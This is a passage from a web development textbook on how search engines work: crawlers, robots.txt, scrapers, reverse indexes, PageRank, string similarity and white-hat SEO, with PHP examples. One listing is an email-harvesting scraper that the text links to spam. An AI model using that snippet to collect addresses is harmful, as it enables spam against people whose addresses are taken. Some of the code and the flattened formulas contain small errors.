collected backlinks). They incorporated as Google Inc. in 1998, and by June
2000 Google had grown their index to over 1 billion URLs (by 2008 it was 1
trillion).2 Yet it was not the size of the index alone that made Google the
most popular search engine, but the quality of its search results.

This chapter explores core search engine principles. The current state of the
art is a rapidly evolving area that can now take input from location, history,
personal preference, and more.

23.1.2 Search Engine Overview
It's all too common to assume search engines are simple, since Google has
kept the interface straightforward and easy: a single box to enter a user's
search query. Search engines we know today consist of several components,
working together behind the scenes to make a functional piece of software.
These components fall into three categories (shown interacting in Figure 23.2
): input agents, database engine, and the query server. In practice, these
components are distributed and redundant, rather than existing on one
machine, although conceptually they can be thought of as services on the
same machine.



Figure 23.2 Major components
of a search engine

Figure 23.2 Full Alternative Text

The input agents refer mostly to web crawlers, which surf the WWW
requesting  and downloading web pages , all with the intent of
identifying new URLs. These agents are distributed across many machines,
since the act of fetching and downloading pages can be a bottleneck if run on
a single one. Additional input agents include URL submission systems,



ratings systems, and administrative back-ends, but web crawlers are the most
important.

The resulting URLs have to be stored somewhere, and since the agents are
distributed, a database engine manages the URLs and the agents in general 

. These database engines are normally proprietary systems written to
specifically support the requirements of a search engine, although they may
exhibit many characteristics of a relational database.

URLs are broken down into their components (domain, path, query string,
fragment). This allows the engine to prioritize domains and URLs for more
intelligent downloading. In modern crawlers the URL's content is also
downloaded, and the engine performs indexing operations on the web page's
text . Indexes, as you may recall from Chapter 14, speed up searches by
storing B-trees or hashes in memory so queries can be executed quickly on
those indexes to recover complete records. Search engines create and manage
a range of indexes from domain indexes to indexes for certain words and
increasingly, geographic, or advertising data. Indexing is a big part of making
sense of the vast amount of data retrieved.

Finally, with pages crawled and fully indexed, we have a system that can be
queried in our database engine. The query server handles requests from end
users  for particular queries. This final part of a search engine is probably
the most interesting since it contains the algorithms, such as PageRank. It
determines what order to list the search results in and makes use of the
database engine's indexes . Search engines such as Yahoo and Bing apply
the same principles, but the specific algorithms that companies use to drive
their query servers are trade secrets like the Coca-Cola and Pepsi recipes.

Authors Note
Although we explore the components and principles of search engines in
depth, there are many plug and play search engine as a service options
available for a cost which solve common web search needs (say a internal site
search, or intranet search of company pages and documents).



Tools including Google search appliance and Elasticsearch not only provide
search functionality but also package their tools with reporting and analysis
features. Users either tap into an API that crawls their content, or run tools to
generate indexes on internal intranets.



23.2 Web Crawlers and Scrapers
Web crawlers refer to a class of software that downloads pages, identifies the
hyperlinks, and adds them to a database for future crawling. Crawlers are
sometimes called web spiders, robots, worms, or wanderers and can be
thought of as an automated text browser. Crawler's downloaded pages are
consumed by a scraper, which parses out certain pieces of information from
those pages like hyperlinks to other pages.

Hands-on Exercises Lab 23
Exercise
Write a Crawler

A crawler can be written to be autonomous, so that it populates its own list of
fresh URLs to crawl, but is normally distributed across many machines and
controlled centrally. Sample PHP crawler code is shown in Listing 23.1.
These crawlers (which can be written in any language that is able to connect
to the WWW) begin their work by having a list of URLs that need to be
retrieved called the seeds. For a brand new search engine the initial seeds
might be the URLs of web directories. Unlike an HTTP request from within a
browser, the images, styles, and JavaScript files are not downloaded right
away when a crawler downloads a page. The links to them, however, can be
identified so that we can download those resources later.

Listing 23.1 Simple crawler class in
PHP
class Crawler { 

   private $URLList; 



   private $nextIndex; 

   function     construct(){ 

      $this->nextIndex=0; 

      $this->URLList = array(“http://SEEDWEBSITE/”); 

   } 

   private function getNextURLToCrawl(){ 

      return $this->URLList[$this->nextIndex++]; 

   } 

   private function printSummary(){ 

      echo count($this->URLList).“ links. Index:”. 

         $this->nextIndex.“<br>”; 

      foreach($this->URLList as $link){ 

         echo $link.“<br>”; 

      } 

   } 

   // THIS CAN BE CALLED FROM LOOP OR CRON 

   public function doIteration(){ 

      $url = $self->getNextURLToCrawl(); 

      // Do note crawl if not allowed 

      if (robotsDisallow($url)) 

           return; 

      echo “Crawling ”.$url.“<br>”; 

      //this function finds the <a> links 

      scrapeHyperlinks($url); 

      $self->printSummary(); 

   } 

}

Security Note
Crawlers were created back in the days of web directories to try and automate
the capturing of new URLs from links on known sites rather than rely on
submissions. They can also be written to harvest information other than
URLs from a website. Some crawlers harvest email addresses on web pages
while crawling the web, all with the end goal of sending spam or selling the
addresses. Other examples are vulnerability scanners, which can identify a
server's signature, so that the OS, web server, and version can be captured for
potential exploitation later.

In the early days of web crawlers there was no protocol about how often to
request pages, or which pages to include, so some crawlers requested entire



sites at once, putting stress on the servers. Moreover, some sites crawled
content that the author did not really want or expect to link on a public
directory. These issues created a bad reputation for crawlers. As search
engines began to take off, more and more crawlers appeared, indexing more
and more pages.

To address the issue of politeness Martijn Koster, the creator of ALIWEB,
drafted a set of guidelines enshrined as the Robots Exclusion Standard still
used today.3,4 These guidelines helped webmasters block certain pages from
being crawled and indexed. The simple crawler in Listing 23.1 even adheres
to it by calling the function robotsDisallow().

23.2.1 Robots Exclusion Standard
All nonmalicious crawlers should adhere to these politeness and
prioritization principles, as should you when designing and executing your
crawler scripts/agents.

The Robots Exclusion Standard is implemented with plain text files named
robots.txt stored at the root of the domain. The standard says that all crawlers
(robots) crawling a domain must first check against that domain's exclusion
requests (stored in robots.txt) before requesting a document. So if a crawler
wanted to crawl funwebdev.com/hello.html, it would first need to check
funwebdev.com/robots.txt to ensure that file is allowed.

Robots.txt has two syntactic elements demonstrated in Listing 23.2. First, we
define what user-agent we want to make a rule for (the special character *
means all agents). Second, we write one Disallow directive per line to
identify patterns. Regular expressions are not supported, so your crawler
must simply do a simple comparison: if the crawler can find the disallowed
pattern in the URL then it should not request it.

Listing 23.2 Robots.txt to allow
googlebot full access, allow funbot



partial access, and block all other
bots
User-agent: googlebot 

Disallow: 

User-agent: funbot 

Disallow: /secret/ 

User-agent: * 

Disallow: /

Another outcome of the politeness principle are the techniques to help
determine which URL to crawl next so that crawlers did not hammer the
same server with serial requests. Prioritization builds on this latter principle
and goes further by ranking the uncrawled URLs, using techniques like
PageRank. The details of how we prioritize domains are beyond the scope of
this chapter, but by combining page rank and a timestamp of the last time a
domain was accessed, we have the basics to build a prioritization of domains
into our crawler.

Security Note
The Robots Exclusion Standard is not a layer of authentication or security. If
you have content that you do not want indexed, it should not be available on
the WWW. Some malicious bots will not obey the directives and
purposefully seek out materials specifically disallowed in robots.txt. Since
the user-agent header, as we already know, can be easily spoofed you may
not even be able to distinguish a malicious crawler from a genuine search bot.
You should correctly identify your crawler, and if no rule for it or * exists in
a site's robots.txt, you are free to crawl everything.

23.2.2 Scrapers



Crawlers are often requesting a page and then downloading its contents to be
processed later. Scrapers are programs that identify certain pieces of
information from the web to be stored in databases. Although crawlers and
scrapers can be combined, they are separated in many distributed systems.

Hands-on Exercises Lab 23
Exercise
Scape Out URLs

URL Scrapers
URL Scrapers identify URLs inside of a page by seeking out all the <a> tags
and extracting the value of the href attribute. This can be done through string
matching, seeking the <a> tag, or more robustly by parsing the HTML page
into a DOM tree and using the built-in DOM search functionality of PHP as
shown in Listing 23.3. Needless to say, a real scraper would store the data
somewhere like a database rather than simply echo it out.

Listing 23.3 PHP scraper script to
extract all the hyperlinks and
anchor text
$DOM = new DOMDocument(); 

$DOM->loadHTML($HTMLDOCUMENT); 

$aTags = $DOM->getElementsByTagName(“a”); 

foreach($aTags as $link){ 

   echo $link->getAttribute(“href”).“ - “.$link->nodeValue.”<br>”;

}



Email Scrapers
Email scrapers are not inherently unpleasant, but usually the intent of
harvesting emails is to send a broadcast message, commonly known as spam.
To harvest email accounts, a scraper seeks the words mailto: in the href
attribute of a link. A slight modification to the loop from Listing 23.3 only
prints the attribute if it is an email, and is shown in Listing 23.4.

Listing 23.4 Portion of a PHP email
harvesting scraper
foreach($aTags as $link){ 

   $mailpos=strpos($link->getAttribute('href'),“mailto:”);  

   if($mailpos !== false){ 

      echo substr($link->getAttribute('href'),$mailpos+7).“<br>”; 

   } 

}

Although early crawlers did not have the benefit of PHP DOM Document,
they applied a similar approach to extract content.

Word Scrapers
The final thing that a scraper may want to parse out is all of the text within a
web page. These words will eventually be reverse indexed (covered below)
so that the search engine knows they appear at this URL. Words are the most
difficult content to parse, since the tags they appear in reflect how important
they are to the page overall. Words in a large font are surely more important
than small words at the bottom of a page. Also, words that appear next to one
another should be somehow linked while words that are at opposite ends of a
page or sentence are less related.



23.3 Indexing and Reverse Indexing
The concept of indexing was covered in Chapter 14, with MySQL and other
relational databases. Indexing identifies key data items and builds a data
structure which can be quickly searched to hold them. In our examples we
will make use of standard databases, although in practice search engines use
custom database engines tuned for their needs.

To understand indexing, consider what a crawler and a scraper might identify
from a web page and how they might store it. Surely the URL is stored, as are
rows for each link found to other URLs. We could store the page as a set of
words, with counts associated with this page and a primary autogenerated key
we will call URLID. Since URLID is an integer, we can readily build an
index on the URL key so that each URL is in the search tree. An index on
this URL will allow us to quickly search all URLs due to the tree data
structure as well as the ability to do fast compares with the integer field as
illustrated in Figure 23.3 .



Figure 23.3 Visualization of
indexes on database tables

Figure 23.3 Full Alternative Text

This type of index can be created on any data set, but building indexes on
strings is not efficient, since comparing two strings takes longer than
comparing two integers. Now with the URL indexed we can quickly get all
the words associated with that index, but we normally don't need to know
which words are at a URL unless we are searching just a single site. Instead,
we need to know, if given a word, which URLs contain that word. With no
index on the words, the database would have to search every record, and it
would be too slow to use. Instead, a reverse index is built, which indexes the
words, rather than the URLs. The mechanics of how this is done are not
standardized, but generally word tables are created so that each one can be
referenced by a unique integer, and indexes can be built on these word



identifiers.

Since there are tens of thousands of words, and each word might appear in
millions of web pages, the demands on these indexes far exceed what a single
database server can support. In practice the reverse indexes are distributed to
many machines, so that the indexes can be in memory, across many
machines, each with a small portion of the overall responsibility.

Since engines are indexing words anyhow, there is an opportunity to improve
the efficiency of the index by stemming the words first—that is identifying
conjugations, polarizations, and other transformations on the base words. By
reducing words down to their most basic form we further reduce the size of
the search space. As an example dance, dancing, danced and dancer could all
be indexed as dance. A reverse indexing is illustrated in Figure 23.4 for a
couple of words with references to URLs.

Figure 23.4 Reverse index
illustration

Figure 23.4 Full Alternative Text



23.4 PageRank and Result Order
PageRank is an algorithm, published by Google's founders in 1998.5 This
early discussion of search engines and the thinking behind them is essential
reading for anyone interested in search engines. The PageRank algorithm is
the basis for search engine ranking, although in practice it has been modified
and changed in the decade and a half since its publication. According to the
authors, PageRank is

a method for computing a ranking for every web page based on the
graph of the web.

The graph of the web being referred to looks at the hyperlinks between web
pages, and how that creates a web of pages with links. Links into a site are
termed backlinks, and those backlinks are key to determining which pages
are more important. Sites with thousands of backlinks (from other domains)
are surely more important than sites with only a handful of backlinks into
them.

Note
The remainder of this section describes the mathematics of the PageRank
algorithm. While it is not essential to master this math, it is helpful for
understanding how the PageRank algorithm works.

The simplified definition of a site n's PageRank is:

PR(n)=∑υ∈BnPR(υ)Nυ

In this formula the PageRank of a page, that is, PR(n), is determined by
collecting every page v that links to n (v ϵ Bn), and summing their PageRanks
PR(v) divided by the number of links out (Nv). In order to apply this
algorithm, we begin by assigning each page the same rank: 1 / (number of



pages). With these initial ranks in place, we can iteratively calculate the
updated PageRank using the formula above.

To illustrate this concept look at the four web pages listed in Figure 23.5 .
Intuitively A is the most important since all other pages link to it, but to
formalize this notion, let's calculate the actual PageRank. To begin, assign the
default rank to all pages:

Figure 23.5 Webpages A, B, C,
and D and their links

Figure 23.5 Full Alternative Text
PR(A)=PR(B)=PR(C)=PR(D)=14

Beginning with Page A, we calculate the updated PageRank.

PR(A)=∑υ∈BAPR(υ)Nυ

Since all three other pages link to A, we must substitute all three components
in our sum.

PR(A)=PR(B)NB+PR(C)NC+PR(D)ND

We know the page ranks of B, C, D and can count the links out of each NB,



NC, and ND.

PR(A)=1/42+1/43+1/42=13

Since B has A and C backlinking to it:

PR(B)=PR(A)NA+PR(C)NC⇒14+1/43⇒13

C has only D backlinking to it so:

PR(C)=PR(D)ND⇒1/42⇒18

Finally, D has B and C backlinks so:

PR(D)=PR(B)NB+PR(C)NC⇒1/42+1/43⇒524

Figure 23.6 shows the four pages with PageRanks after two iterations. See if
you can arrive at the same values for iteration 2. Interestingly, Page B has a
higher calculated rank than A, defying our initial guess.

Figure 23.6 Illustration of two
iterations of PageRank

Figure 23.6 Full Alternative Text



In practice the links can change between iterations as well if the page was re-
crawled so the formula must be dynamically interpreted every time.
Interestingly, the updated ranks always sum together to make one. This is not
the case if one of the pages was a rank sink, that is, a page with no links as
shown in Figure 23.7 where Page A has no links to other pages. There you
can see with each iteration the total PageRank decreases. A more
sophisticated PageRank algorithm introduces a scalar factor to prevent rank
sinks.6

Figure 23.7 Iterations of
PageRank with a rank sink (A)

Figure 23.7 Full Alternative Text

Hands-on Exercises Lab 23
Exercise
Page Rank Calculations



23.5 Measures of Similarity
Part of a good search engine is not only knowing what domains are important
using a PageRank type algorithm, but also which pages have the content
matching the words you are seeking.

The problem of similarity is not one limited to search engines. Those looking
at the similarity of homework assignments for plagiarism detection through
those doing biological analysis of genetic data all use similar strategies to
take hugely complicated material and determine how similar it is to other
material. There are a variety of similarity measurement techniques that can be
applied to a query from the time it is entered until it is looked up in the
reverse indexes by the search engine.

You will learn about several similarity measurement algorithms, including
some used for identifying and fixing misspellings—a popular and
quintessential search feature. Going deeper into how similarity is measured
you will learn about how linear algebra and geometry provide solutions to
some of the complex problems in determining similarity.

23.5.1 Comparing Words
Words from a query or from a website being indexed can be analyzed before
they are used. Some algorithms, like Metaphone allow us to calculate extra
fields for words, which can be helpful for applications like spell checking.

Similar Sounds with Different
Spellings
How many times have you noticed that the same sound can be represented
using different spellings? Consider that ph and f, or that c and k can be



similar sounding. Metaphone, developed by Lawrence Philips, distils the
English language spelling into a representation that accounts for similarities
in how words are pronounced,7 building on algorithms like Soundex, which
allow one to iteratively distil a word down to a code. The idea is that if two
words sound similar enough they can be represented as identical for some
purposes.

These algorithms (included in php) cannot make suggestions about spelling,
but rather allow us to transform words before comparing strings to a set of
possible words.

In addition to obvious use as part of spell checking, algorithms like
Metaphone are great for applications like a name lookup, where spellings
may be unknown to users, and the database just needs one extra field per
name to store the value. Some example strings and their Metaphone and
Soundex values are shown in Table 23.1.

Table 23.1 A Table Showing
some Strings and Their
Soundex and Metaphone
Values.

String Soundex Metaphone
Picasso P220 PKS
Dali D400 TL
Napoleon N145 NPLN

Comparing Strings
Comparing two words for similarity is another important part of a spell



checking application and also introduces some powerful concepts about
similarity that search engines use to make sense of huge amounts of data.
Even if we have used a Metaphone algorithm to “simplify” a word, we still
need to figure out which word in our system is closest for purposes of spell
checking.

The Hamming distance between two strings of equal length is the number of
positions at which the corresponding symbols are different. An edit distance
between any two strings a and b is defined as the minimum number of
operations required to transform a into b: an operation being an addition,
subtraction, or substitution of one letter for another. Building on that simple
idea, Levenshtein invented a fast algorithm to determine edit distance and is
included in PHP so that you can pass in two strings and get the edit distance
as follows:

$distance = levenshtein ($string1 , $string2);

Did You Mean?
When a user's search query matches no search results (or very few) for a
word due to a misspelling, users expect the search engine to suggest alternate
spellings that might return results. Using the principles from Metaphone and
Levenshtein, we can now compare one word to another, identifying the
nearest word and suggest (or use) that word for the next search query.

Using the autocomplete jQuery framework introduced back in Chapter 20, we
can now create a simple script to demonstrate how spelling works on a small
dictionary by autocompleting the days of the week, as shown in Listing 23.5.
Here the closest word, according to the Metaphone algorithm is returned, and
the autoComplete jQuery plugin displays that value below the input field.

Listing 23.5 Script using levenshtein
and metaphone to correct spelling



for the days of the week
<?php 

header('Content-type: application/json'); 

$days = array(“Sunday”=>metaphone(“Sunday”),  

     “Monday”=>metaphone(“Monday”),

     “Tuesday”=>metaphone(“Tuesday”),

     “Wednesday”=>metaphone(“Wednesday”),

     “Thursday”=>metaphone(“Thursday”),

   “Friday”=>metaphone(“Friday”), 

   “Saturday”=>metaphone(“Saturday”)); 

if (array_key_exists($_GET['term'],array_keys($days))) { 

     //this is a valid spelling, no suggestions needed. 

} else { 

   $closest = -1; 

   $index=“”; 

   //determine how typed word sounds

   $thisWord = metaphone($_GET['term']);  

   //compare to each sound for each day

   foreach ($days as $day => $sound){ 

      //determine distance

      $distance =  levenshtein($sound,$thisWord); 

      //find closest one

      if(($distance<$closest)||$closest ==-1){  

          $closest = $distance; 

          $index = $day; 

      } 

   } 

   $results = array ($index);  //we are returning just one item 

   echo json_encode($results); 

}

23.5.2 Comparing Larger
Dictionaries
Comparing two words is relatively intuitive, identifying the number of edits
to go from one to another. Using the same strategy for text (say on a
webpage) is more challenging, since instead of characters we are taking about
words, sentences, and paragraphs. Whereas we can look up a dictionary of
words, we cannot as easily look up a dictionary of valid sentences (and



besides, not all webpages are syntactically correct). Moreover, similar words
in different orders (say different places on a page), may still carry the same
meaning, and algorithms like levenshtein do not account for such patterns.

The next dive deeper section describes some fundamental concepts from
linear algebra and their application to comparing web pages and queries, a
critical component of search engines. By modeling web pages as entities in a
multi-dimensional space, there are efficient ways to compare how similar two
webpages are, or which pages best match a query string.

Dive Deeper

Using Mathematics to Solve
Complex Questions
In computer science, many novel algorithms are successful by being able to
distil complex problems into similar problems with known solutions. One
such algorithm comes from the field of linear algebra, where one can easily
determine the angle between two vectors and in doing so determine which
vectors are close together. The idea is that if we can represent a web page as
an n-dimensional vector (as shown in Figure 23.8 ), then we can compare any
two webpages quickly and easily using the same mathematical tools from
linear algebra available to us in 2 and 3 dimensions.



Figure 23.8 Representing web
page content as a vector

Figure 23.8 Full Alternative Text

In order to properly describe this powerful idea, even in brief, we will
summarize some key ideas from linear algebra, look into the two-dimensional
case to motivate how this all works, and then show how we can represent
webpages as vectors, and in doing so, perform quick search queries.

In general we denote a vector A of n dimensions as:

A=[a1,a2,⋯,an]

To determine a line's length, we can draw on Pythagoras and use the fact that
one of the points is the origin [0,0] and following, the length of the vector A
(denoted ||A||) is

||A||  =  a12+a22+⋯an2



To demonstrate, consider the vectors A, B, and C depicted in Figure 23.8 .
Using the above formula the lengths of A, B, and C can be calculated
respectively as follows:

||A||  =  22+32=13||B||  =  52+12=26||C||  =  22+22=8

Now, an operation called the dot product takes two vectors of equal
dimension and returns a single number that represents the cosine of the angle
multiplied by the distance of each vector.

Mathematically the dot product is

A⋅B=||A||  ||B||cosθ

Since we want to determine the cos θ we have to divide both sides by the
length of each vector. For those of you familiar with linear algebra you may
notice that since division by a scalar is commutative, we can instead use the
normalized form of the vector A^ (where each element a^i=ai||A||). This
further simplifies our situation since our algorithm simply must perform the
following to determine the cos θ.

A^⋅B^=∑i=1na^ib^i=cosθ

To see this in action, let us see how we determine algorithmically which line
is closer to line A. In Figure 23.9 we can intuitively see that vector C is closer
to A than vector B, so let us show that this holds mathematically.



Figure 23.9 Three vectors in
two-dimensional space

Figure 23.9 Full Alternative Text

Let us calculate A·B to determine the angle θ between them, then the same
for A·C

A^⋅B^=∑i=12a^ib^i=cosθ→(a1||A||)(b1||B||)+(a2||A||)(b2||B||)=cos  θ→(213)
(526)+(313)(126)=cosθ→0.7071=cosθ

The angle between A and B (θ) is 45°

A^⋅C^=∑i=12a^1.c^i=cosβ→(a1||A||)(c1||C||)+(a2||A||)(c2||C||)=cosβ→(213)
(28)+(313)(213)(28)=cosβ→0.9805=cosβ



The angle between A and C (β) is 11.3°.

Therefore A is closer to C than to B, which is exactly what our intuition told
us.

Thankfully these techniques work on higher, n-dimensional vectors, allowing
us to use dimensions far beyond what we can visualize. Now consider that
instead of comparing lines in geometric space, we can compare higher
dimensions, thinking perhaps of each dimension as a word in the English
language!

For the sake of demonstration in a web context, consider an abbreviated
dictionary for our system, capturing only six animal words. The dictionary D
might have the following entries [cat, cow, dog, horse, mouse, pig]
representing six axes. Each vector representing a webpage is a vector with six
elements, each element representing the frequency of that word from the
dictionary in the page.

Figure 23.10 illustrates how the text of three different sites (famous nursery
rhymes) can be distilled down to a count of the words in the dictionary into
vectors. Using the exact same algorithm for comparing two-dimensional
angles we can now calculate the angle θ between each webpage and a query
for “dog and cat rhymes,” denoted as vector Q = [1,0,1,0,0,0] in the figure.
Notice how the page B with the smallest angle (35°) is somehow intuitively
closest to the query, with the page A being not far behind.





Figure 23.10 Illustration of how
webpages can be compared as
vectors

Figure 23.10 Full Alternative Text

In reality there are over 300,000 words in English, multiple languages, and
nondictionary words that are also indexed, and with such large vectors more
efficient (but more complicated) linear algebra techniques are used.
Nonetheless, this example introduces how linear algebra can support
advanced search engine algorithms for analyzing and comparing webpages.
Consider that as you change the dictionary you can compare pages not only
by words, but by tags, city, names, or other ideas.

This dive deeper only scratches the surface of the research being done in this
area and offers only a brief peek at one technique (and field) used to analyze
complex data.



23.6 White-Hat Search Engine
Optimization
Search engine optimization (SEO) is the process a webmaster undertakes to
make a website more appealing to search engines, and by doing so, increases
its ranking in search results for terms the webmaster is interested in targeting.

For many businesses the optimization of their website is more important than
the site itself. Sites that appear high in a search engine's rankings are more
likely to attract new potential customers, and therefore contribute to the core
business of the site owner.

The world of SEO has become very competitive and perhaps even downright
dirty. Anyone who owns a website will eventually get spam for merchants
selling their SEO services. These SEO services can be impactful and valid,
but they can just as easily be snake-oil salesmen selling a panacea, since they
know how important search engine results are to businesses. The actual
algorithms used by Google and others change from time to time and are trade
secrets. No one can guarantee a #1 ranking for a term, since no one knows
what techniques Google is using, and what techniques can get you banned.

Google, being the most popular search engine, has devised some guidelines
for webmasters who are considering search engine optimization; these
guidelines try to downplay the need for it.8 An entire area of research into
SEO has risen up and these techniques can be broken down into two major
categories: white-hat SEO that tries to honestly and ethically improve your
site for search engines, and black-hat SEO that tries to game the results in
your favor.

White-hat techniques for improving your website's ranking in search results
seem obvious and intuitive once you learn about them. The techniques are not
particularly challenging for technically minded people, yet many websites do
not apply these simple principles. You will learn about how title, meta tags,
URLs, site design, anchor text, images, and content all contribute toward a



better ranking in the search engines.

23.6.1 Title
The <title> tag in the <head> portion of your page is the single most
important tag to optimize for search engines. The content of the <title> tag
is how your site is identified in search engine results as shown in Figure
23.11 . Some recommendations regarding the title are to make it unique on
each page of your site and include enough keywords to make it relevant in
search engine results. Often titles use delimiting characters such as | or - to
separate components of a title, allowing uniqueness and keywords. Although
one should not overemphasize keywords, one should definitely include them
when reasonable.

Figure 23.11 Sample search
engine output

Figure 23.11 Full Alternative Text

23.6.2 Meta Tags
Meta tags were introduced back in Chapter 3, where we used them to define a
page's charset. It turns out that <meta> tags are far more powerful and can
be used to define meta information, robots directives, HTTP redirects, and
more.
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Exercise
Set Meta Tags

Early search engines made significant use of meta tags, since indexing meta
tags was less data-intensive than trying to index entire pages. The keywords
meta tag allowed a site to summarize its own keywords, which search engines
could then use in their primitive indexes. If everyone honestly maintained
their meta tags to reflect the content of their pages, it would make life easy
for search engines. Unfortunately, since the tags are not visible to users, the
content of the meta tags might not reflect the actual content of the pages.
Keywords are mostly ignored nowadays, since search engines build their own
indexes for your site, but other meta tags are still widely used, and used by
search engines.

Http-Equiv
Tags that use the http-equiv attribute can perform HTTP-like operations
like redirects and set headers. The http-equiv attribute was intended to
simulate and override HTTP headers already sent with the request. For
example, to indicate that a page should not be cached, one could use the
following:

<meta http-equiv=“cache-control” content=“NO-CACHE”>

The refresh value allows the page to trigger a refresh after a certain amount
of time, although the W3C discourages its use. The following code indicates
that this page should redirect to http://funwebdev.com/destination.html after
five seconds.

<meta http-equiv=“refresh” content=“5;URL=http://funwebdev.com/destination.html

This style of redirect is discouraged because of the maintenance headaches



and the jarring experience it can give users, who loses control of their
browsers in five seconds when the page redirects them.

While http-equiv can refresh the browser and set headers, other meta tags
like description and robots interact directly with search engines.

Description
Meta tags in which the name attribute is description have a corresponding
content attribute, which contains a human-readable summary of your site.
For the website accompanying this book, the description tag is:

<meta name=“description” content=“The companion site for the     textbook Fundamentals of Web Development from Pearson.     Fundamental topics like HTML, CSS, JavaScript and” />

Search engines may use this description when displaying your sites in results,
usually below your title as shown in Figure 23.11 .

Alternatively, some search engines will use web directories to get the brief
description, or generate one automatically based on your content. Google
uses several inputs including the Open Directory Project (dmoz.org). To
override the descriptions in these open directories and use your own, you
must make use of another meta tag name: robots.

Robots
We can control some behavior of search engines through meta tags with the
name attribute set to robots. The content for such tags are a comma-separated
list of INDEX, NOINDEX, FOLLOW, NOFOLLOW. Additional nonstandard tags
include NOODP and NOYDP, which relate to the web directories mentioned
earlier. With NOODP, we are telling the search engine not to use the
description from the Open Directory Project (if it exists), and with NOYDIR
it's basically the same except we are saying don't use Yahoo! Directory. A
single tag to tell all search engines to override these Directory descriptions
would be



<meta name=“robots” content=“NOODP,NOYDIR” />

Tags with a value of INDEX tell the search engine to index this page. Its
complement, NOINDEX, advises the search robot to not index this page.
Similarly we have the FOLLOW and NOFOLLOW values, which tell the search
engine whether to scan your page for links and include them in calculating
PageRank. Given the importance of backlinks, you can see how telling a
search engine not to count your links is an important tool in your SEO toolkit.
Be advised, however, that these directives may or may not be followed.

Listing 23.6 shows several meta tags for our Travel Photo Website project.
We include a description and tell robots to index the site, but not to count any
outbound links toward PageRank algorithms.

Listing 23.6 Meta-tag examples for
a photo sharing site
<meta name=“description” content=“Share your vacation photos with friends!

<meta name=“robots” content=“INDEX, NOFOLLOW” />

23.6.3 URLs
Uniform Resource Locators (URLs) have been used throughout this book. As
you well know, they identify resources on the WWW and consist of several
components including the scheme, domain, path, query, and fragment. Search
engines must by definition download and save URLs since they identify the
link to the resource. Since they are already used, they may also be indexed to
try and gather additional information about your pages. URLs, as you know,
can take a variety of forms, some of which are better for SEO purposes.

Bad SEO URLs
As discussed back in Chapter 16 some URLs work just fine for programs but



cannot be read by humans easily. A URL that identifies a product in a car
parts website, for example, might look like this

/products/index.php?productID=71829

and work just fine. The index.php script will no doubt query the database for
product with ID 71829 returning results. The user, if they followed a link to
reach this page, will see the product they expected, but it is difficult to know
what product we are seeing without a reference. A better URL would
somehow tell us something about the categorization of the product and the
product itself.

Descriptive Path Components
In the former example we are selling car parts, but even car parts can be
sorted into categories. If product 71829 is an air filter, for example, then a
URL that would help us identify that this is a product in a category would be

/products/AirFilters/index.php?productID=71829

With words in the path, search engines have additional relevant material to
index your site with. If you do have descriptive paths, then best practice also
dictates that truncating a URL (where you remove the end part up to a folder
path) should access a page that describes that folder. Accessing
/products/AirFilters/ should be a page summarizing all the air filters we
have for sale.

Descriptive File Names or Folders
As we improve our URL, consider the file path and query string /index
.php?productID=71829. Although it obviously works from a programmer's
perspective, it's intimidating to the nondeveloper. A better URL might simply
be

/products/AirFilters/71829/



since the site's hierarchy is reflected in the URL and query strings are
removed. A step further would be to add the name of the filter in the URL in
place of the product's internal ID.
/products/AirFilters/BudgetBrandX100/ is great because it's readable by
a human and creates more words to be indexed by search engines.

Apache Redirection
In the above examples we discussed changing URLs to make them better for
search engines. What was not discussed was the mechanism for achieving
those better URLs. A brute-force approach would see us constantly creating
folders and pages to support new products. Maintenance would be a
headache, and we would never be finished! Every time the database added a
product, we'd have to update all our links and folder structures to support that
new product.

Instead, using Apache's mod_rewrite directives, first introduced in Chapter
22, we can leave our site's code as is, and rewrite URLs so that SEO-friendly
URLs are translated into internal URLs that our program can run. Converting
/products/AirFilters/71829/ to /products/index.php?productID=71829
can be done with the directives from Listing 23.7. We simply check that the
URL does not refer to an existing file or directory, then use the trailing part of
the path to identify a product ID.

Listing 23.7 Apache rewrite
directives to map path components
to GET query values
RewriteEngine on 

RewriteCond %{REQUEST_FILENAME} !-f 

RewriteCond %{REQUEST_FILENAME} !-d 

RewriteRule ^(.*)./(.*)$ /products/index.php?productID=$2 [pt]



23.6.4 Site Design
The design and layout of your site has a huge impact on your visibility to
search engines. To start with, any sites that rely heavily on JavaScript or
Flash for their content and navigation will suffer from poor indexing. This is
because crawlers do not interpret scripts; they simply download and scrape
HTML. If your content is not made available to non-JavaScript browsers, the
site will be almost invisible to search engines. If you apply fail-safe
techniques to your site, this should not be an issue.

Other aspects of site design that can impact your site's visibility include its
internal link structure and navigation.

Website Structure
HTML5 introduces the <nav> tag, which identifies the primary navigation of
your site. If your site includes a hierarchical menu, you should nest it inside
of <nav> tags to demonstrate semantically that these links exist to navigate
your site. More impactful is to consider the overall linkages inside of your
website. Search engines can perform a sort of PageRank analysis of our site
structure and determine which pages are more important. Pages that are
important are ones that contain many links, while less important pages will
only have one or two links. Links in a website can be categorized as:
navigation, recurring, and ad hoc.

Navigation links, as we have shown, are the primary means of navigating a
site. While there may be secondary menus, there is normally a single menu
that can be identified for navigation. Normally these links are identical from
page to page, and represent the hierarchy of a site. Since many pages contain
the same navigation links, the pages linked are deemed to be important.

Recurring links are those that appear in a number of places, but are not
primary navigation. These include secondary navigation schemes like
breadcrumbs or widgets, as well as recurring links in the header or footer of a
webpage. These links can have a large impact on which pages are considered



important.

Pro Tip
You will notice a default WordPress installation will say “Proudly hosted by
WordPress” in the footer and link to wordpress.org. These links are valuable
advertising opportunity.

A link from a single page on a domain has value, but a link from every page
on the domain (through the footer) is much more valuable. Many consulting
companies try to keep a link on their client's pages linking back to them.
These small “hosted by XXX” links drive PageRank back to the consultant's
site and might be something worth thinking about with your clients.

Ad hoc links are links found in articles and content in general. These links are
created as a one-time link, and have a minimal impact on their own. That
being said, there can be patterns if you make reference to certain pages more
than others, all of which influence the site structure.

When performing SEO, we should consider what pages are more important,
and ensure that we are emphasizing those URLs in recurring and ad hoc
links. An extra ad hoc link can add additional weight to a page, just as a
recurring link in the footer would add a great deal of weight.

23.6.5 Sitemaps
A formal framework that captures website structure is known as a sitemap.
These sitemaps were introduced by Google in 2005 and were quickly adopted
by Yahoo and Microsoft. Using XML, sitemaps define a URL set for the root
item, then as many URL items as desired for the site. Each URL can define
the location, date updated, as well as information about the priority and
change frequency.9 Sitemaps are normally stored off the root of your domain.

http://wordpress.org
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Exercise
Build a Site Map

A basic sitemap capturing just the home page appears in Listing 23.8. The
<loc> element field stores the full URL location, while the <lastmod>
element contains the file's last updated date in YYYY-MM-DD format. The
<changefreq> element allows us to state how often, on average, the content
